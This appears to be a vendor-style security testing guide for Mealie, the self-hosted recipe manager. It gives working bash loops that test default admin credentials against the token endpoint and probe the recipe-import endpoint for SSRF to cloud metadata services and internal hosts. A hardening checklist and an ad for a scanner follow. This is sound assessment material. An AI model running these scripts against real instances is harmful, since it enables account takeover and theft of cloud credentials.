Mealie Security Testing: Default Credentials, Recipe Import SSRF, API Token, and User Management

Mealie is one of the most widely deployed self-hosted recipe management applications, providing meal planning, shopping list generation, and recipe import from cooking websites. Its security assessment covers: Mealie's documented default credentials are changeme@example.com/MyPassword (or admin@example.com/admin in versions before v1), which are widely shared in installation guides and YouTube tutorials — unchanged defaults give full admin access to all household recipe data and user management; Mealie's recipe import feature scrapes content from provided URLs by making server-side HTTP requests — submitting internal network addresses (cloud metadata endpoints, internal services) as recipe import URLs causes the Mealie server to make outbound HTTP requests to those targets, creating an SSRF vector; Mealie's REST API uses JWT authentication with tokens returned from the /api/auth/token endpoint — admin tokens provide access to all households, users, and recipes on the instance; Mealie's user registration can be open to allow self-signup; and admin users can manage all households and groups across the multi-tenant Mealie installation. This guide covers systematic Mealie security assessment.

Table of Contents

  1. Default Credential Testing
  2. Recipe Import SSRF
  3. API Token and Admin Access
  4. Mealie Security Hardening

Default Credential Testing

# Mealie default credentials (documented in installation guide)
# v1+: changeme@example.com / MyPassword
# older: admin@example.com / admin
MEALIE_URL="https://mealie.example.com"

# Test default credentials via JWT token endpoint
for CREDS in "changeme@example.com:MyPassword" "admin@example.com:admin" \
             "admin@example.com:MyPassword"; do
  EMAIL="${CREDS%%:*}"
  PASS="${CREDS##*:}"
  RESPONSE=$(curl -s -X POST "${MEALIE_URL}/api/auth/token" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=${EMAIL}&password=${PASS}" 2>/dev/null)
  TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token',''))
" 2>/dev/null)
  if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
    echo "DEFAULT CREDENTIALS: ${EMAIL}:${PASS}"
    echo "Access token: ${TOKEN:0:50}..."
    # Check if admin
    curl -s "${MEALIE_URL}/api/users/self" \
      -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"email\",\"?\")} admin={d.get(\"admin\",\"?\")}')
" 2>/dev/null
    break
  fi
done

Recipe Import SSRF

# Mealie recipe import: server fetches provided URL to scrape recipe content
# SSRF vector via /api/recipes/create-url endpoint

MEALIE_URL="https://mealie.example.com"
JWT_TOKEN="your-mealie-jwt-token"

# Test SSRF via recipe import URL
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"            # AWS IMDS
  "http://metadata.google.internal/computeMetadata/v1/" # GCP metadata
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure IMDS
  "http://127.0.0.1:8080/"                              # Internal service
  "http://10.0.0.1/"                                    # Gateway
)

for TARGET in "${SSRF_TARGETS[@]}"; do
  RESULT=$(curl -s -X POST "${MEALIE_URL}/api/recipes/create-url" \
    -H "Authorization: Bearer ${JWT_TOKEN}" \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"${TARGET}\"}" 2>/dev/null)
  echo "SSRF target: ${TARGET}"
  echo "Response: $(echo $RESULT | head -c 200)"
  echo "---"
done

Mealie Security Hardening

Mealie Security Hardening Checklist:
Security TestMethodRisk
Default changeme@example.com/MyPassword credentialsPOST /api/auth/token with default credentials — JWT token grants full recipe, meal plan, shopping list, and user management accessCritical
Recipe import URL SSRFPOST /api/recipes/create-url with internal URL — Mealie server fetches the URL enabling SSRF to cloud metadata endpoints and internal network servicesHigh
Admin token listing all households and usersGET /api/admin/users with admin JWT — lists all users, households, and group memberships across the entire Mealie instanceHigh
Open user registration when ALLOW_SIGNUP=truePOST /api/users/register — any visitor can create an account and access household recipe data when self-signup is enabledHigh
Long-lived API token enumerationGET /api/users/api-tokens with user JWT — lists all long-lived API tokens created for that user; tokens never expire by defaultMedium
Household recipe data accessible to all household membersAll recipes in a household are visible to all users in that household — verify isolation between households in multi-tenant deploymentsMedium

Automate Mealie Security Testing

Ironimo tests Mealie deployments for default changeme@example.com/MyPassword credentials (and admin@example.com/admin for older versions) via the JWT token endpoint, recipe import SSRF via /api/recipes/create-url causing server-side HTTP requests to cloud metadata endpoints and internal services, admin token access to all households and user accounts across the instance, open user registration when ALLOW_SIGNUP is not disabled, long-lived API token enumeration for integrations, and multi-household data isolation validation.

Start free scan